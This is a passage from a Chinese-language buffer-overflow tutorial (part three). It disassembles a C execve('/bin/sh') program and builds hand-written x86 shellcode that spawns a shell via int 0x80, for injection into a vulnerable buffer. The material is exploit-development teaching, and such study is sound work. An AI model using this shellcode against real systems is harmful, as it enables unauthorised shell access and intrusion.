缓冲区溢出解密(三)
如何执行 /bin/sh?
在C中,spawn出一个shell的代码可能象这样:
shell.c : #include <unistd.h> void main() { char *shell[2]; shell[0] = "/bin/sh"; shell[1] = NULL; execve(shell[0], shell, NULL); } [murat@victim murat]$ make shell cc -W -Wall -pedantic -g shell.c -o shell [murat@victim murat]$ ./shell bash$
如果你看execve的man说明页($man 2 execve),你将看到execve要求一个将要执行的文件名的指针,一个NULL终止的参数数组,和一个可以为NULL的环境指针。如果你编译运行了这个输出的二进制文件,你将看到你spawn出了一个新的shell。
目前为止一切顺利……但是我们不能用这种方式spawn出一个shell,是吗?我们如何能用这种方式把这个代码放到漏洞程序里去呢?我们不能!
这给我们造成了一个新问题:我们如何能把我们的攻击代码传给漏洞程序?我们将需要在易受攻击的缓冲区传递我们的代码,它很有可能是一段shell代码。为了实现这个目标,我们必须能够把我们的shell代码用一个字符串表示。
因此,我们将列出所有的来spawn出一个shell的汇编指令,得到它们的运算码,把它们一个一个列出来,然后把它们作为一个shell生成串组装起来。
首先,让我们看看上面的代码(shell.c)在汇编中是什么样子。让我们静态编译程序(这个方法,execve系统调用也将被反汇编)然后看:
[murat@victim murat]$ gcc -static -g -o shell shell.c [murat@victim murat]$ objdump -d shell | grep \<__execve\>: -A 12 0804ca10 <__execve>: 804ca10: 53 pushl %ebx 804ca11: 8b 54 24 10 movl 0x10(%esp,1),%edx 804ca15: 8b 4c 24 0c movl 0xc(%esp,1),%ecx 804ca19: 8b 5c 24 08 movl 0x8(%esp,1),%ebx 804ca1d: b8 0b 00 00 00 movl $0xb,%eax 804ca22: cd 80 int $0x80 804ca24: 5b popl %ebx 804ca25: 3d 01 f0 ff ff cmpl $0xfffff001,%eax 804ca2a: 0f 83 00 02 00 jae 804cc30 <__syscall_error> 804ca2f: 00 804ca30: c3 ret 804ca31: 90 nop [murat@victim murat]$
让我们一步一步地分析这个系统调用:
记住,在我们的main()函数里,我们写了代码:
execve(shell[0], shell, NULL)
我们传递了:
·字符串”/bin/sh”的地址
·NULL结尾数组的地址
·NULL(实际上它是环境地址)
此处,在main里面:
[murat@victim murat]$ objdump -d shell | grep \<main\>: -A 17 08048124 <main>: 8048124: 55 pushl %ebp 8048125: 89 e5 movl %esp,%ebp 8048127: 83 ec 08 subl $0x8,%esp 804812a: c7 45 f8 ac 92 movl $0x80592ac,0xfffffff8(%ebp) 804812f: 05 08 8048131: c7 45 fc 00 00 movl $0x0,0xfffffffc(%ebp) 8048136: 00 00 8048138: 6a 00 pushl $0x0 804813a: 8d 45 f8 leal 0xfffffff8(%ebp),%eax 804813d: 50 pushl %eax 804813e: 8b 45 f8 movl 0xfffffff8(%ebp),%eax 8048141: 50 pushl %eax 8048142: e8 c9 48 00 00 call 804ca10 <__execve> 8048147: 83 c4 0c addl $0xc,%esp 804814a: c9 leave 804814b: c3 ret 804814c: 90 nop
在调用execve(call 804ca10 <__execve>)之前,我们反序把这些参数推入到堆栈中。
因此,如果我们回到__execve:
我们拷贝NULL字节到EDX寄存器, 804ca11: 8b 54 24 10 movl 0x10(%esp,1),%edx 我们拷贝以NULL结尾数组的地址到ECX寄存器, 804ca15: 8b 4c 24 0c movl 0xc(%esp,1),%ecx 我们拷贝字符串"/bin/sh"的地址到EBX寄存器 804ca19: 8b 5c 24 08 movl 0x8(%esp,1),%ebx 我们为execve拷贝系统索引,即11(oxb)到EAX寄存器: 804ca1d: b8 0b 00 00 00 movl $0xb,%eax 接着变成核模式: 804ca22: cd 80 int $0x80
我们需要的全部就是这么多了。然而,这里还有一些问题。我们不能准确地知道NULL结束数组和”/bin/sh”字符串的地址。那么,这个怎么样?:
xorl %eax, %eax pushl %eax pushl $0x68732f2f pushl $0x6e69622f movl %esp,%ebx pushl %eax pushl %ebx movl %esp,%ecx cdql movb $0x0b,%al int $0x80
让我解释一下上面的指令:
如果你进行自身异或,你得到0,等同于NULL。这里,我们在EAX寄存器中得到一个NULL。